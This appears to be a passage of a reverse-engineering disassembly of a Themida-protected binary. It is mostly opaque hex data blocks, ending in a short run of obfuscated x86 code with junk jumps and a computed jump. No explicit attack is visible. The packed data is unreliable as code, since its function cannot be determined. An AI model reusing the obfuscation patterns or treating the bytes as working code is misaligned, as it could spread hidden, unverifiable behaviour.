dd 0C97E3D23h, 0ED9C988Ch, 80C00C55h, 1B98B5B1h, 0B6EB9464h
dd 0CE8A66CAh, 8BB66DECh, 0C00C22A0h, 8A66C280h, 83DE66Dh
dd 86BD63F6h, 324B571h, 98000000h, 80326D5Fh, 9952493Dh
dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h
dd 94395044h, 7830A75Bh, 68CF5541h, 6ADh, 56242489h, 4BEh
dd 24740100h, 0EC835E04h, 24148904h, 151B68h, 243C8900h
dd 5DCBE56h, 814E6C0Ah, 0F45AC6EEh, 8BF28965h, 0C4832434h
dd 505B6804h, 24890000h, 24048124h, 4, 0BE56535Fh, 8, 15EF389h
dd 5B1389FBh, 51243C8Bh, 0C181E189h, 4, 4C181h, 0C870000h
dd 34FF5C24h, 0C4835A24h, 0D026E904h, 2754FFFAh, 15AFD0B8h
dd 0FFC50306h, 87D49E0h, 0EAE19507h, 0CED20A3Dh, 0B6766150h
dd 0A7853941h, 76135731h, 0D82CF241h, 774D8256h, 4CC5BA28h
dd 0CB537474h, 0C6CEDB05h, 4AE80230h, 34847B08h, 0CEE52F7Bh
dd 164E957h, 0EBAA0000h, 6E903624h, 4AA486B1h, 5EAB4E4Dh
dd 50360990h, 507E509Bh, 5ED00998h, 773E5093h, 225E39B8h
dd 766450EAh, 0C25AD211h, 0B0879E15h, 135250ADh, 12850DCh
dd 0
dd 40000h, 2 dup(0)
dd 2F0000h, 0
dd 80000h, 0
dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 3Eh dup(0)
dd 0B2E90000h, 68000016h, 615B40Dh, 0FB98EBE9h, 0B4D068FFh
dd 0E1E90615h, 68FFFB98h, 615B5B5h, 0FB98D7E9h, 0B69D68FFh
dd 0CDE90615h, 68FFFB98h, 615B82Fh, 0FB98C3E9h, 0B96D68FFh
dd 0B9E90615h, 68FFFB98h, 615BA25h, 0FB98AFE9h, 0BAD968FFh
dd 0A5E90615h, 68FFFB98h, 615BCEAh, 0FB989BE9h, 0BD9C68FFh
dd 91E90615h, 68FFFB98h, 615BEA2h, 0FB9887E9h, 0BF5768FFh
dd 7DE90615h, 68FFFB98h, 615C0E4h, 0FB9873E9h, 0C62068FFh
dd 69E90615h, 68FFFB98h, 615C711h, 0FB985FE9h, 0C779CEFFh
dd 7B352B9Ah, 0CC7ED726h, 7C2E2697h, 0CA84D627h, 5CDFA795h
dd 0A6174C06h, 59ACF9B3h, 0AFFE5305h, 2FADE29Ch, 0F7404F9Ch
dd 0BB151DDDh, 0B2AB5ACFh, 75665F00h, 96C514BBh, 3C2287DCh
dd 7D0A7948h, 17C844DAh, 0E1E28B7Bh, 0D85A8C96h, 0A42BDB1Dh
dd 0B82F3457h, 0FEB8AA11h, 681A327Fh, 6F0AD969h, 0CF0C8E48h
dd 5513E3Dh, 9B7732A1h, 0BE93CA35h, 404F9C4Bh, 1511B827h
dd 74944869h, 45000000h, 0E4EB9DB8h, 0EF8E4095h, 1C4E0F43h
dd 3B5EA95Ah, 1A17C845h, 82B0416Ah, 657603FAh, 88A754ABh
dd 0CD17C844h, 0F8838021h, 1DD844EAh, 9672D28Dh, 0EAC10283h
dd 0A9CC17B6h, 3511B822h, 0A7646B25h, 0FF7137ECh, 71624F35h
dd 560AC416h, 0B9987C37h, 0D82C4C65h, 7E9851D0h, 20F2AB22h
dd 0BE9407BAh, 0D33023D2h, 0B8010928h, 0F4A04C11h, 0CC31ABh
dd 5A790000h, 0D3498A3Dh, 3879AACDh, 0D6217ECDh, 17C892C3h
dd 92C3D621h, 0E29217C8h, 0BDC4907Ch, 5B70FD6Eh, 934356A1h
dd 621217C8h, 0DC96CC39h, 8C3E98E5h, 7261B0E3h, 97CC19B8h
dd 0DF3788DDh, 9517C897h, 0E6D78C46h, 31943BF5h, 0F98A790Dh
dd 8BF8558Ch, 17C88DECh, 0EAE9BD69h, 6694733Ch, 0B11DD89Ch
dd 0CE1B90C5h, 11BDC476h, 89FD6150h, 37BBCD3Ah, 0D0BC17CBh
dd 843E94E1h
db 0CFh, 0DEh
word_5A686A dw 32ECh ; DATA XREF: Themida_:0054BEACo
dd 12E26AB4h, 15ABAEE2h, 13CDh, 1946F84Fh, 0A5FAB4ACh
dd 164BFD58h, 0A6FBADA7h, 1C490357h, 85D55828h, 322796CBh
dd 84DA2B78h, 1B307DD2h, 21B03461h, 0DDF8C3D6h, 4434921Dh
dd 8E653D5Ah, 0AEAB5EC2h, 8C218EDh, 0BF796A5Bh, 1A48C892h
dd 0E2E08B62h, 951DD845h, 0F69DEAE9h, 0D911B844h, 0F714CF6Ah
dd 6147E4F6h, 36ACF554h, 0BE932FB0h, 0AAA1h, 75CE900h
dd 6599764Dh, 0D80FFA1Ah, 0C815BEDFh, 0A7CA3592h, 0AE17C880h
dd 0A0EB92BEh, 17C88558h, 580DC71Ch, 15BC7665h, 7F68EB4h
dd 0D88A3E7Ch, 558CD91Dh, 902FE9FAh, 0ADE2AEE2h, 2F7E062Ch
dd 0CB21B5C4h, 0FDF4A017h, 0F3A05A70h, 0A016D002h, 0E212F5B0h
dd 0A3FD5D4h, 8C000013h, 1F4A153h, 6D4015CFh, 0CF9A658h
dd 84711ED0h, 6DBF944Eh, 16D00285h, 0AB657C49h, 1DCF07F6h
dd 0AC667548h, 1966F5F7h, 1DDDF976h, 5C9981DFh, 0A6174C06h
dd 7504FBB5h, 0DC7B0865h, 7917C844h, 0CD98D98Dh, 4FE28DDEh
dd 617C845h, 5C155516h, 5DB0AC07h, 6412B16Bh, 0B1E59130h
dd 0D690C312h, 60213C89h, 0AE88BB77h, 0E8CAEFE9h, 770CD7BAh
dd 4410CAFFh, 2F247110h, 10B82075h, 0CA394DF1h, 0D8D2FB3Dh
dd 0D3EAB1Dh, 7A2A0A53h, 0E887F483h, 0FE11B88Ah, 520D13CDh
dd 38FAAEE5h, 0A7C89C07h, 5146E8B3h, 0D8860943h, 0D0A24DA4h
dd 7203EF7h, 29157817h, 4115E55h, 5D1A326Bh, 9EA719A2h
dd 2E6225CAh, 672132BFh, 3EF8E998h, 2A1E933Fh, 0FCA55170h
dd 4D075CA9h, 0ACAF7D6Fh, 922AA9DFh, 1225h, 51FEB0A7h
dd 0DDB26C64h, 4E03B510h, 0DEB3655Fh, 5401BB0Fh, 3D8D10E0h
dd 0EADFCE83h, 3C926330h, 0F3E8D58Ah, 0F9886C39h, 0DDF9EB8Eh
dd 1C0C6A1Dh, 5CB7AB5Ah, 82304F01h, 23388DCEh, 5B076A69h
dd 0E11FCC23h, 161DD867h, 97CC3966h, 0EF53B6DDh, 6BDB2897h
dd 4817CDD2h, 0CFEEA8BBh, 0F1806F23h, 8A7B28E2h, 0CF209F59h
dd 57763022h, 43EF02ABh, 2435C43Bh, 0F6B7636Ah, 215E620Dh
dd 53A411B8h, 8CBF89A8h, 6520CC05h, 8188560Fh, 0E84C157Dh
dd 1E38C53Ch, 8D3F976Ch, 0E190DFE4h, 47EA95F2h, 0E058CFEh
dd 0DF8B325Eh, 830ABC12h, 1C2F96D7h, 81D58FC1h, 38F2E1D4h
dd 720A3899h, 0DA0FEC7Bh, 3D5CA7C9h, 18058C57h, 99B3296Ch
dd 0C2120043h, 7BEFFE3h, 0B0436166h, 10FC0B9Ch, 3C10A29Ah
dd 0D56BEEEEh, 113Dh, 89D688BFh, 356A243Ch, 86DB8DC8h
dd 366B1D37h, 8CD993C7h, 1545C8B8h, 0A2B7065Bh, 144ABBE8h
dd 8BC02D62h, 0D12084D1h, 0DDFB1326h, 0F4A4421Dh, 174C065Ch
dd 0E9D8AC92h, 0D866349Eh, 0CE3931Dh, 129F4DEFh, 388DCB19h
dd 90436C1Eh, 0B581241h, 0F64EA9BAh, 0C5913D44h, 5FF27DEEh
dd 0F611B79Ch, 0CB2E6506h, 46C01067h, 7B00D355h, 1F9E5086h
dd 1FD01F73h, 0E21423D0h, 554111B7h, 0EBA5BB0Ch, 0D2C217C7h
dd 0B16B5EABh, 0D690C312h, 15D04FB7h, 0D87E115Eh, 27D70BA7h
dd 2AD7287Bh, 0AF347D37h, 520C3FF6h, 731FA05Bh, 8706B80Eh
dd 0AA9678DBh, 69703576h, 85F2C1C5h, 11B81C2Bh, 84D1F09Ch
dd 9FEE954Fh, 81D0EFA9h, 0F218864Fh, 0B9242DE5h, 0F467E6EDh
dd 33A82D39h, 0F38BB77Ah, 9F196FFCh, 0B03D0BA7h, 23E0DF99h
dd 5F34E7ABh, 0D29BC78Fh, 10DDB262h, 43B201BBh, 0E8A2B70Ah
dd 6A693DE9h, 93E0F3BCh, 0FF87E000h, 0EC9954C3h, 95683DF7h
dd 0A4058C46h, 88F7C6BEh, 0BFED8CF7h, 8CF7FF87h, 0FF87BFEDh
dd 0C6B6BC68h, 0CF7C22A5h, 22B30597h, 0AB577630h, 0B088A754h
dd 21CDF977h, 7DB82075h, 0A7166ED4h, 8D60F45Ch, 671FCFFFh
dd 0EF8E489Ah, 0BD3EE3A0h, 0B8095437h, 1A7D10F7h, 0E14DF362h
dd 4DD9269Dh, 36F977CAh, 670F1637h, 0A2EE885Eh, 0F3AD9E4Bh
dd 42FC4F9Eh, 0F07BEC3Bh, 0ED4C5961h, 5E6708F4h, 3234B26Ch
dd 56006C54h, 0FABBD53h, 1A2D0000h, 96CA3B68h, 1F3687DCh
dd 8FC5386Dh, 253588DDh, 7E46366Bh, 0B8EDA7BBh, 55A1445h
dd 0B7EC9EB8h, 65B1546h, 89A853A6h, 0CC1DDDFCh, 65C8672h
dd 0D6FDB7ABh, 0D4277C28h, 557C3625h, 0CEFD08A9h, 2B206D14h
dd 0DEF38271h, 0EE587B24h, 0CCFFB66Fh, 0C74D3D12h, 0B6B883B7h
dd 167h, 4D075C0Ah, 51AF546h, 0D8C19ABFh, 8EC27CD4h, 29E3F8CDh
dd 0B5C9757Ch, 63D2AD3Eh, 2E21741Eh, 0C61F797Eh, 731FAAC7h
dd 0C843DD2Ah, 78241DD8h, 9D670E59h, 0F96811B8h, 5BFC6240h
dd 43EDBE93h, 35000000h, 8B621A48h, 0D845E2E0h, 0EAE9951Dh
dd 0B844F69Dh, 97F2E811h, 56048B3Dh, 0C734830Ah, 11B844A8h
dd 0D8F4C1ADh, 0E3FCA726h, 9B83C4Ah, 0B80C9270h, 0D324BE93h
dd 0B8510928h, 0FFA04C11h, 9EDDh, 75C2500h, 899764Dh, 138C9D18h
dd 0FD4C8728h, 1D6C13CDh, 4D742Eh, 51A211CBh, 0C85393A6h
dd 89D2C217h, 5913EBDCh, 726117C8h, 8908C217h, 0C93A89DDh
dd 0C84F1B3Eh, 214A3A17h, 8DF15D44h, 424C936h, 412D1DDBh
dd 15CF0372h, 0A35D6D40h, 3144D45h, 5AF271DCh, 0E6Dh, 7926D8EFh
dd 0C59A548Ch, 762BDDF8h, 0C69B4D87h, 7C29E3F7h, 65753808h
dd 0D207F6ABh, 647A4B18h, 0BB10DDB2h, 1505401h, 0DDFDE376h
dd 24D4721Dh, 174C065Ch, 65AB5A6h, 0DDF8454Ch, 0AAF6A42Bh
dd 5C01A9F6h, 92FB3E07h, 0ECE48044h, 8807C117h, 0CA3786DAh
dd 8B6DD97h, 0EEDD2C67h, 3D8E5F34h, 0B599FC83h, 1D25E2D1h
dd 51309A52h, 7B08FBA4h, 1DD927CDh, 16E5BA6Ah, 0CA771A65h
dd 2EDE11B8h, 7AA4F6Dh, 5C530000h, 0FA454C06h, 17C84553h
dd 3CB3CB77h, 0DDF53FAFh, 59A8541Dh, 0A8FDB7ACh, 754C0655h
dd 511ACC08h, 25DFF342h, 619ADC7h, 0E27AF9DCh, 0DB5h, 216E2037h
dd 8DC27CD4h, 1E732520h, 8EC375CFh, 24712B1Fh, 0AD9D6050h
dd 0FA4F9EF3h, 0ACA21340h, 358A5FAh, 49981C49h, 0DDFE9BBEh
dd 6C1CBA1Dh, 5EA9065Ch, 17C8453Bh, 69366A1Ah, 68D479Ch
dd 0E3EAA4B7h, 6BFC7Bh, 17C84571h, 47EA95E4h, 0E17C845h
dd 7A69325Eh, 617504BFh, 396210AFh, 88DD97CCh, 83B78C12h
dd 3853A4B8h, 95C01F7Fh, 6B0EF93Ch, 0EA17C91Dh, 0D6B713Ah
dd 0BF000000h, 0C8502C5Eh, 0DE7F3D17h, 3FFFFFDh, 0C845375Eh
dd 0D7AF9317h, 0F5A39BE8h, 14001DDDh, 41FB509Dh, 0F8B2A114h
dd 9C568CD9h, 6193E1Eh, 71078ADCh, 0D01h, 0C59A4C83h, 7926E0F8h
dd 0F29F518Ch, 4A17C903h, 0F8AD677Bh, 0E9F9BC84h, 3E93622Fh
dd 0E8DECF84h, 479C6936h, 85D4D88Dh, 0DDFF57FAh, 0B860FE1Dh
dd 464D075Ch, 0D32AE4F7h, 337C2E26h, 0EA736A0h, 0F9B3A855h
dd 44FE4DB8h, 0B8157B0Fh, 0D04B883h, 5C000000h, 0C8502C5Eh
dd 567F3D17h, 3FFFFFDh, 0FBB5AB5Ah, 6C8526D4h, 84EFBEC6h
dd 1DD866FAh, 0CD1AB965h, 11B822A7h, 3026D32Ah, 2BC6DD7Eh
dd 93D5D157h, 1DBC0BEh, 5E080000h, 17C84567h, 0A5B64F78h
dd 1447B6EBh, 0C216635Ah, 0DF2C6708h, 17C845B4h, 0BB6A039Ch
dd 40A1EEA8h, 7B95A1Fh, 0AF3AC4CEh, 34E2E19Bh, 53E69160h
dd 217C92Bh, 0F23F3E12h, 897A27E1h, 0A52CE6FCh, 0FE4DB8F9h
dd 0CBF23D44h, 0F317C92Bh, 4D9C23DDh, 954241FBh, 4F5363FEh
dd 75046F00h, 0E017C92Bh, 19B29C25h, 8CD8E734h, 4D25C0E3h
dd 0B88350C7h, 164B6h, 75C0A00h, 0E4F7464Dh, 455DFC87h
dd 0CF817C8h, 0B8A60B58h, 0EF7EEDC4h, 51A01FD9h, 56174BFDh
dd 0D85A6771h, 6D14001Dh
dd 0B82F0B22h, 522DC411h, 0CB71E46Ch, 0F1F2BBD2h, 0A5F45A38h
dd 37E5BE94h, 3D000000h, 8B621A48h, 0D845E2E0h, 26D3241Dh
dd 53FF7E30h, 0B844D160h, 8AF58411h, 11B844E7h, 89D27E6Eh
dd 87D4FBABh, 11B844E4h, 0E9B974EBh, 0BE93B783h, 0D172h
dd 75CB600h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh, 2539C837h
dd 887B2A73h, 9AA4CD8Bh, 0A0C1FE2Dh, 0C9565727h, 0C31E2D17h
dd 1ADD48Eh, 0A6EA5946h, 0EBB7AE2Fh, 0A0B845B6h, 723BE7E6h
dd 54ABD37Fh, 459B4A5h, 0D37F2B52h, 665DFEACh, 0B7716815h
dd 2FFC11F6h, 27E41DDBh, 12315AACh, 0CA7CD1FBh, 0A05FD596h
dd 718602F1h, 3A89DD0Eh, 1A85CEC9h, 0D7B17702h, 611B2F96h
dd 15687592h, 12C3D621h, 0E29211B6h, 1BE08B9Fh, 0B0A21352h
dd 441600F6h, 373ADC03h, 0AF0A1h, 0AB5D7200h, 17D107F6h
dd 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h, 0A21340FAh
dd 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 0E47300h, 0D7711DDEh
dd 4C065C23h, 0FBB5A617h, 75CFCA6h, 0E4F7464Dh, 455DFC87h
dd 0CF817C8h, 0C61C6958h, 6A02630Ch, 460h, 833473Eh, 20CB225Ah
dd 1DDDF5C9h, 573810FCh, 0CF1C93EBh, 17C2AE95h, 13C5196Ah
dd 74FF703Fh, 0BA278E5h, 38EAE370h, 4390436Ch, 0BA27930h
dd 9D75309Fh, 0C4A98037h, 3EB26h, 375E7A00h, 0A917C845h
dd 17C84491h, 1C93EB57h, 0D84C75CFh, 5C5A4A1Dh, 0DC00729Ch
dd 3E4BE1E0h, 0C000000Ah, 2D80D587h, 0C134611Bh, 3885DA8Ch
dd 0C8356A1Ch, 0B98BD892h, 5A1446C9h, 0E7A1B805h, 61134BBAh
dd 0D892C134h, 2DDA298Bh, 1DDE020Ah, 5CFDAD4Bh, 0E3464D07h
dd 49B8077Fh, 0AE5C6315h, 816916EDh, 0D91DDDF5h, 93BADD2Ah
dd 0EB9B11B2h, 0EBC2B2C2h, 0CA934D7Eh, 88D9289Bh, 3E248DCEh
dd 3BAFEA37h, 398D44C6h, 97E4DB87h, 11B2E3F8h, 0EE5B15Dh
dd 0EFB06A5Fh, 94876714h, 8EDB17C8h, 0ADFC833Dh, 3AE8E799h
dd 3F2F4566h, 16D00170h, 33FF7E49h, 381B0B9Dh, 8201B3ABh
dd 31EBDFD4h, 41B0E492h, 0BCE59FB4h, 1C691AE9h, 0C57110C2h
dd 9D325FF2h, 4B06F60Bh, 0D66183E4h, 0D035764Ah, 0C0CF1C79h
dd 950B9C91h, 0C516BDE9h, 0D993C736h, 96B90CBAh, 0BF0B9C91h
dd 24378ECFh, 5C02636Ah, 322CD928h, 97E4DF80h, 11ACB215h
dd 0D80B7A09h, 0F39F1Eh, 58C7271h, 0FD7738E4h, 3BE99B11h
dd 3635E82Ch, 9389Eh, 0F3A5BA00h, 3FF94F9Eh, 0F8AAA312h
dd 50025AABh, 0E6A0B203h, 38FBCBB9h, 0CA3B6822h, 3588DD97h
dd 0D3226F21h, 1B99C680h, 31C3BC8h, 9F391DDEh, 621A48EBh
dd 0F610E08Bh, 0A3521DDDh, 0CAAAF3ADh, 0F8C2AFCBh, 0F0A48430h
dd 0CB037201h, 5C6D5819h, 0C900EDA2h, 0FC51A00Fh, 0D697434Ah
dd 0A7916EBDh, 3B3338CCh, 731ACC02h, 0DFD29BC7h, 47B40B73h
dd 17C8DCE3h, 36C53CE8h, 9D7AA6C9h, 9EB13E0Bh, 0B70B9D7Ah
dd 0F4BD69C7h, 0ACD07EDFh, 0F9B3A855h, 80832CDAh, 0ADAAF5F3h
dd 6A641111h, 4BC76A15h, 0DE8E058Dh, 3E5F0BB2h, 0DC704636h
dd 8E82B61h, 883F389h, 0D2050000h, 4E827320h, 0D7EEBF94h
dd 477D7025h, 0DDEDC095h, 36FE6E23h, 0F0A55F73h, 3D12CCFDh
dd 0EFA45670h, 3E13CDFEh, 0D1600B5Eh, 841DDE03h, 75C3EEAh
dd 0E4F7464Dh, 9C3BA32Ah, 45FF5401h, 0B4147A10h, 0C505B883h
dd 5D000001h, 0CF303D5Ah, 8FEB8EF9h, 0BA6A17C8h, 9DD279D7h
dd 0D71DDD4h, 441F49B6h, 7C281DD9h, 0E4630A55h, 677B11B8h
dd 83D726ADh, 861DCAC9h, 68D7DBEBh, 146FF5CDh, 895EBE93h
dd 0A2000001h, 464D075Ch, 0D41A1AF5h, 4F97D6ABh, 43DF23h
dd 87D9F9EAh, 4C18C6CDh, 1AA6477h, 9E15CF04h, 973806E1h
dd 5B043090h, 0C3BBA70Ah, 4E797FECh, 0FEEE1DD9h, 7253307Fh
dd 0B20D8BD5h, 2C3FC8E9h, 0A311B8B4h, 3BA1712Ch, 2ABE9345h
dd 27h, 621A487Eh, 45E2E08Bh, 0E9951DD8h, 0F1EC99EAh, 0C992403Fh
dd 0B84557FEh, 30C97811h, 93B7CC52h, 0EBBDBEh, 5C050000h
dd 0EEB7AC07h, 0E384427Bh, 78174BCFh, 8CF687CAh, 0BEE16E47h
dd 0AC9EEB92h, 4D7ECBF2h, 0C65F1C93h, 0B9E25795h, 0F01D2F12h
dd 0DA094A62h, 0A0B30291h, 335A1445h, 3986DB87h, 17C94E4Dh
dd 451AD407h, 3786FE64h, 0D22539C8h, 1BC7C680h, 0D19A4847h
dd 0DBCBE1F6h, 2D84701Dh, 0C22D8AC0h, 11B660AFh, 23AAF6A6h
dd 99CD7FD6h, 4C7EEBD8h, 0A726E0F1h, 9FAA7FBh, 0EEAF617Ch
dd 1966C317h, 11B66176h, 85632FDFh, 0DC024CB3h, 0F6DC74F7h
dd 78000006h, 5F8AD5Fh, 794C19D3h, 10DDB264h, 604D02B4h
dd 91E3B06Ah, 32ECDEA1h, 7F39905Dh, 39EBE3D2h, 904A996Ch
dd 0E592E1C3h, 1DDE0552h, 5CB56503h, 1B3AB06h, 3180D482h
dd 0ACD38DC4h, 297D54EFh, 0BAE6BE46h, 0B23FB4F1h, 40C5E6A0h
dd 0AF04510Bh, 46AB39D4h, 590201AAh, 0AA075C11h, 0C8453A5Dh
dd 0FAB4AC17h, 0B5DC8874h, 2AA7368h, 27B3837Dh, 621A471Bh
dd 40h, 24DEF27Fh, 0FAB0F19Dh, 1539E047h, 82F18271h, 0D225DFF3h
dd 17C844BFh, 42C5E696h, 1DDDF5E8h, 75572FDFh, 0BBF10E83h
dd 0A8E81CCEh, 68D6DB84h, 0F9529D14h, 0D017C869h, 334E6424h
dd 52000000h, 0E2531A48h, 0BF7969CCh, 0F82F12C0h, 0C9386CDAh
dd 0D933883Eh, 0D8F7A71Dh, 0B904E78Bh, 55108F11h, 0FDEA68Ch
dd 0C9344264h, 5401ED17h, 0E118h, 0AB5A7000h, 3FB2FBB5h
dd 65CBC813h, 8140E2EDh, 0A17E11E4h, 86D717C8h, 4CFA9953h
dd 40F83D18h, 0C5CA6945h, 7BD32291h, 531CCAC9h, 0CC2B0370h
dd 0EC981DDEh, 7A097A09h, 0B36B6A0Dh, 0C83BEB11h, 11B36AA9h
dd 0DEF3C0ACh, 0B0F19D24h, 1B05640h, 92048A68h, 60F5BE98h
dd 4D000000h, 8B621A48h, 0DDF609E0h, 0AC9E4B1Dh, 7E1FCBF2h
dd 41AB06F6h, 6702B157h, 0A1B03BACh, 0B411B294h, 95FBA7C8h
dd 0ABBE9967h, 0A530D3Eh, 2E92h, 0A95AD600h, 0C8453B5Eh
dd 416A1A17h, 3FA82B0h, 0DDF59278h, 3A351Dh, 1BA86571h
dd 0AB1590C4h, 0DD9847CDh, 99949F05h, 288EBEh, 5AD20000h
dd 0AD5AB7ABh, 17C8448Ah, 0E687DBCBh, 0C8611FE1h, 46B30A17h
dd 86345B15h, 459DF8CBh, 680957BDh, 0FFFEEF14h, 1A486CFFh
dd 0DCE08B62h, 8F1DDDF5h, 0D17DE0DFh, 40A956ADh, 1817C845h
dd 0F4BD7769h, 47B78580h, 2070FF6Ch, 39E50B9Dh, 2F79875Eh
dd 5E0B5C63h, 0BC47B668h, 0B9CEA9Dh, 0EA3CCB8h, 0AA655C20h
dd 0B3952910h, 0B1125BD8h, 0B201C246h, 0D522B111h, 586A0C2h
dd 40AFE393h, 0B0E59FB1h, 0E29CAE3Bh, 836E2FDBh, 0AB58A7DFh
dd 0B9C514Bh, 0D8948D88h, 24C18051h, 0DAF48170h, 0F9887B28h
dd 864092E5h, 88075B07h, 0BEC161CBh, 0FF537CFBh, 8FF7695Eh
dd 344F9797h, 1F6DFD10h, 0FF6B75Dh, 604D02BCh, 0AF12B16Bh
dd 7504FB83h, 1141AE60h, 0E18A3857h, 80B95E2h, 0B05C6D5Ah
dd 0D58FC411h, 0B06A5FAEh, 2235C211h, 336139F4h, 0E67F1043h
dd 530E85D0h, 0A754B1A2h, 6139F388h, 7E7521CDh, 7B24D6EFh
dd 0D183DB2Ah, 0B36D63B2h, 924B7A0Ch, 6C39EBE3h, 0FC9BE897h
dd 596139F2h, 0CD0104ADh, 555A41Bh, 0F71224Bh, 0A9445F6Bh
dd 0CF21E2FCh, 0C36B5087h, 0D09AC79Bh, 8DFB3D5Ah, 92983A44h
dd 0FE76E8C9h, 7753307Fh, 21DBEEA6h, 6291F4A2h, 6C590287h
dd 9716BD77h, 96C88924h, 0F44B1DEh, 9EE5255h, 0A75067Dh
dd 17C8A867h, 0EE95477Fh, 4091E240h, 1291DA86h
dd 0F3AD9E57h, 46B34493h, 87335A14h, 0C8A81D3Ch, 234C3817h
dd 0CDF4AEA2h, 0E89C817Eh, 80806C61h, 9949E8DFh, 503F17C8h
dd 2EE8E095h, 883A9461h, 9898BE09h, 38CB17C8h, 0C0E193C9h
dd 83DB8A23h, 693384D1h, 0A817C8B9h, 837FB338h, 0FF6EA0B8h
dd 0B441FFFFh, 5C46D798h, 2E289ED7h, 5C713962h, 0A5184D07h
dd 6AF9FCB6h, 0A4451BADh, 0FCA51709h, 0C520DA09h, 0C58039AAh
dd 0FC7CDC96h, 0B8833596h, 510B3FAEh, 0C1DB8432h, 47h
dd 621A4809h, 0E08BDC8Bh, 17C84551h, 70571804h, 1DDDF59Bh
dd 0F9633E2Eh, 0A33E051Eh, 0B50C70DEh, 0C844E14Ah, 419BE817h
dd 7731228Fh, 9EF6AA58h, 3443B03Fh, 440B9CE3h, 3DD1DA84h
dd 23D35124h, 28427Ah, 48460000h, 0E08B621Ah, 1DDDF60Bh
dd 69D3CEBEh, 0D68F0089h, 905F270Bh, 0C8460EE3h, 0F4CBBB17h
dd 0FDBD6817h, 812A3C42h, 0AB5A7119h, 0D48201B3h, 6F293A8Bh
dd 18D20150h, 84F8664Bh, 21BF522Dh, 0D27E72C0h, 33CD3A89h
dd 341DD8BDh, 8BFA4948h, 48F69D57h, 918DA027h, 8B4211B8h
dd 669A00D2h, 408BBE93h, 0DF000000h, 54531A48h, 40FA4FEDh
dd 0B020D405h, 38570943h, 9AE7D68Ah, 0F5CE8F49h, 2CDEF786h
dd 4FB8F9A5h, 1DD881D1h, 4C0655A6h, 0C6CD9945h, 0B880D279h
dd 0AB46FD11h, 937B51D7h, 0E240BEh, 5C880000h, 3A5DAA07h
dd 1B17C845h, 4998376Bh, 11605F19h, 4CB908C2h, 0A3605F11h
dd 2C3E50A1h, 93DC883Eh, 0E8A2B100h, 2BF44CBBh, 4B8017C9h
dd 0E2F1C491h, 0F0BED928h, 38214DDFh, 60AFE48Dh, 0B3842AA3h
dd 8ECF0B77h, 78473F23h, 9F1ED809h, 92AA90F3h, 93D63B4Bh
dd 148EF9CAh, 931DD8A2h, 3A590B42h, 268BD88Ch, 6D4438h
dd 754E0FC9h, 3A8B0906h, 26B18E5Ch, 0B3678285h, 2EDE17CBh
dd 0B4C330BFh, 0A10BA641h, 0AA57ACF5h, 6451FEB8h, 6F64116Eh
dd 95600EB5h, 0BA64202h, 0F9EFA353h, 0E2126B31h, 0BA5EF675h
dd 3C000001h, 0D1247123h, 1D90C57Fh, 0DC297628h, 3481CE80h
dd 3D2F641Eh, 0E6A0B275h, 5B154CB9h, 0ED9FB706h, 5C1645B8h
dd 0A956A507h, 1DDE0A86h, 5C8971CFh, 0A6174C06h, 0FCA6FBB5h
dd 0FDB7AB5Ah, 44D67906h, 8F7F17C8h, 77FE3CEh, 45BD4BB8h
dd 0CABA1DD8h, 44D578C3h, 43FA11B8h, 0B752D8AAh, 0DA43BE93h
dd 0E0000000h, 0E2A85523h, 0A3CC14B8h, 4D075CC7h, 9D20776h
dd 0D9A5FB20h, 80217546h, 8730453h, 17C8DF69h, 99B300ECh
dd 713AE8E7h, 0FD843E94h, 0C8E366B2h, 3BD0E17h, 0B26C5F4Eh
dd 0E698AE3Bh, 87AB0EC5h, 0CDD3B0FFh, 9A346A59h, 50D20F49h
dd 7A26F986h, 3B25D231h, 6C1DD8D4h, 8FE0D380h, 0B8AE55E4h
dd 4B140011h, 2D84F866h, 0CB62C8C2h, 0E6314E17h, 0D709372Eh
dd 4430446Dh, 10CA006Dh, 0A6607243h, 13649A50h, 2DC3C6E2h
dd 0C9h, 2D62144Bh, 81CE88C0h, 3A671934h, 0B2DF91CBh, 550F43h
dd 91C1442Ch, 263B8AD7h, 90C6376Ch, 0F44B1DEh, 4D9C0055h
dd 0DE0B8FA2h, 8028C61Dh, 0B6AB065Ch, 0DC29D5FCh, 18C6CD87h
dd 0B5A6174Ch, 0A655A6FBh, 0C8453659h, 2E6F1F17h, 4D075C7Ch
dd 0A8489976h, 0A7190FDDh, 4B80CD06h, 7521DBF0h, 217ECD20h
dd 0C90AC3D6h, 792B2317h, 0D6C6AC5Ah, 0F3E8D58Ah, 0DC884298h
dd 2E086AB5h, 0BB3047FAh, 0A6607322h, 5E0D0AF9h, 0C5CB2747h
dd 0B506A85Ch, 481C55B0h, 0D071170Dh, 1D3E072Eh, 0DAF9B3A8h
dd 73DA8E89h, 0D4461A3h, 0B96B6164h, 0BB766D1Ah, 721FD90Ah
dd 0F7965083h, 0C61h, 0C5858200h, 0BB259282h, 0EBC2A8C9h
dd 51035CBFh, 36F0E332h, 62144A97h, 1BB0E5Bh, 651F3382h
dd 1BB0F5Eh, 67193382h, 12C41968h, 702A1E6Bh, 89579451h
dd 4C781E7h, 83000000h, 3C8704EFh, 14895C24h, 0E0895024h
dd 405h, 42D00h, 4870000h, 4895C24h, 0E6895624h, 4C681h
dd 0EE810000h, 4, 5C243487h, 83243489h, 348904ECh, 0C85BE24h
dd 0CE817E70h, 4B5254FEh, 0CE81D6F7h, 2B613C44h, 0CB6EE81h
dd 0F089A5D8h, 348B545Eh, 4C48124h, 50000000h, 4A240481h
db 9, 0FDh
word_5A7CDA dw 8F7Eh ; DATA XREF: Themida_:0054C1BCo
; ---------------------------------------------------------------------------
inc esi
or [ebx-45h], dl
dec edx
or ebp, edi
jle short loc_5A7D0E
pop esi
or [ebx-75h], bl
xor al, 24h
push esi
mov esi, esp
add esi, 4 ; CODE XREF: Themida_:005A7D10j
add esi, 4
xchg esi, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_55FF58
; ---------------------------------------------------------------------------
popf
loc_5A7D0E: ; CODE XREF: Themida_:005A7CE3j
jb short loc_5A7D21
jb short near ptr loc_5A7CEE+1
loope loc_5A7D68
xchg eax, ebp
mov eax, 615C7FFh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
adc cl, [ebx-7]
loc_5A7D21: ; CODE XREF: Themida_:loc_5A7D0Ej
dec esp
wait
mov ah, 33h
